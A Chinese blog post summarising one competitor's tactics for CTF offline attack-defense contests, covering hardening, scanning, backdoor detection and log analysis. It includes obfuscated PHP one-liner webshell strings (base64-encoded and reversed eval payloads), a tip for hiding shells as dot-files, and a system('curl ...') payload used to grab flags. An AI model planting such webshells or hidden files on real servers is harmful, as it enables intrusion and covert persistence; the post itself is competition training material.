CTF线下攻防赛个人总结

  • A+
所属分类:CTF专场

CTF线下攻防赛个人总结

本着最后一次参加线下赛,这时间安排也是让人很无语。将这一份总结留给学弟他们,涨涨经验。


一张常规的CTF线下攻防思维导图

CTF线下攻防赛个人总结


SSH登陆

两三个人进行分工,一个粗略的看下web,有登陆口的话,就需要修改密码,将情况反馈给队友,让登陆ssh的小伙伴进行密码的修改,改成炒鸡复杂、然后将Web目录下载下来,上WAF、文件监控、端口扫描。将这几个工作分工好,顺序就像图上。

tips:将下载下来的Web目录理一遍,看是否有可疑的文件夹,比如bak。 依然记得有次比赛,有两台靶机,赛组提示弱口令。然后每一支队伍都奔着后台去了,结果有队伍在Web目录下发现了这个bak目录,打开发现是phpmyadmin,提示的弱口令是在这里用上。


网络拓扑

首先先理清好网络拓扑关系,节点与各链路之间的关联。这个需要下一步配合,要不然不知道对手在哪就GG。 示例:

CTF线下攻防赛个人总结



主机发现

如果是在同个C段,或者B段,均可以使用RouterScan进行对80端口扫描进行扫描得出,嫌麻烦的话,就用httpscan这个小巧的脚本

千万要记得扫端口,这很重要。用nmap也行,自己写的脚本或者网上找的也行。


预留后门

有的比赛环境,为了照顾比较菜的选手(此处举手),预留了一句话后门。将整个web目录下载到本地,使用hm.exe、D盾或者别的扫描工具可以扫描得出(如果预留)


黑盒测试


CTF线下攻防赛个人总结


防御及修复建议 1.将所有的登陆口密码进行修改(炒鸡复杂); 2.将上传页面的action地址修改为*,(机智小能手!!); 3.反序列化和命令执行,就去seebug或其他的站点找补丁; 4.待补充...


一句话

控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。 简单举例:

CTF线下攻防赛个人总结

连接方式:php?2=assert密码是1。 献上我常用得一句话

CTF线下攻防赛个人总结

配置为?b=))99(rhC(tseuqeR+lave

CTF线下攻防赛个人总结

配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs= 连接密码:0(零)


权限维持

CTF线下攻防赛个人总结

tips:.demo.php前面使用一个点,能很好的隐藏文件。 想要结束这个进程,除了最暴力的重启服务之外,更为优雅的如下:

CTF线下攻防赛个人总结

先查看进程,查看对应的pid,再执行即可。


flag获取

上面的$shell内容看个人,线下赛可以直接使用<?php echo system("curl 10.0.0.2"); ?>之类的,只是说一个点,剩余的发挥空间由你们思考。 最好能写一个批量上传的,结合批量访问。批量访问参考PHP-定时任务 或者

CTF线下攻防赛个人总结

只有想不到,没有做不到。


日志分析

日志分析的用途

  1. 感知可能正在发生的攻击,从而规避存在的安全风险

  2. 应急响应,还原攻击者的攻击路径,从而挽回已经造成的损失

记录log脚本

这种脚本网上有很多。

CTF线下攻防赛个人总结

日志分析工具

  1. LogForensics 腾讯实验室 https://security.tencent.com/index.php/opensource/detail/15

  2. 北风飘然@金乌网络安全实验室 http://www.freebuf.com/sectool/126698.html

  3. 网络ID为piaox的安全从业人员: http://www.freebuf.com/sectool/110644.html

  4. 网络ID:SecSky http://www.freebuf.com/sectool/8982.html

  5. 网络ID:鬼魅羊羔
    http://www.freebuf.com/articles/web/96675.html

CTF总结


意义所在

首先,CTF题是信息安全得基本概念,攻防技术、技巧得浓缩和提炼。通过解题,会快速掌握题目中所包含得概念和技术点,而这些知识在真实得环境中可能比较分散,难以学习,高水平得CTF都是由业内专家命题,往往凝聚着他们多年积累出来的技能。


其次,CTF题注重实际操作,并与基础理论知识相结合。每道CTF都需要实际动手才能找到答案,并且在比赛中经常要拼速度,这对攻防操作得能力会有极高的锻炼。除此之外,高质量得CTF题都没法直接使用现成工具解出,一般需要在理解基本原理的基础上,自己编写代码来求解,这个过程会加深和巩固计算机基础知识得理解。


最后,CTF能够给不能层次的人在技术上带来提高。没有网络信息安全基础的学生通过CTF,建立了安全攻防的概念;有初步基础的学生,通过高质量赛题的实践练习,提升了实战能力;已经学有所成的学生,通过国际CTF大赛和国际强队比拼,开阔了视野。


不要为CTF而CTF

虽然ctf涉及到的知识点面非常的全面。但是在实际应用中,在自己所选择的方向上给予不了多大的帮助。 只因为CTF环境太过于理想化(当然是我水平问题,做不来大的CTF赛题),因为总有方法可以拿到flag,在实操上,遇到瓶颈,要考虑的东西就多了。


首发于个人blog:http://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/


CTF线下攻防赛个人总结

本文始发于微信公众号(T00ls):CTF线下攻防赛个人总结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: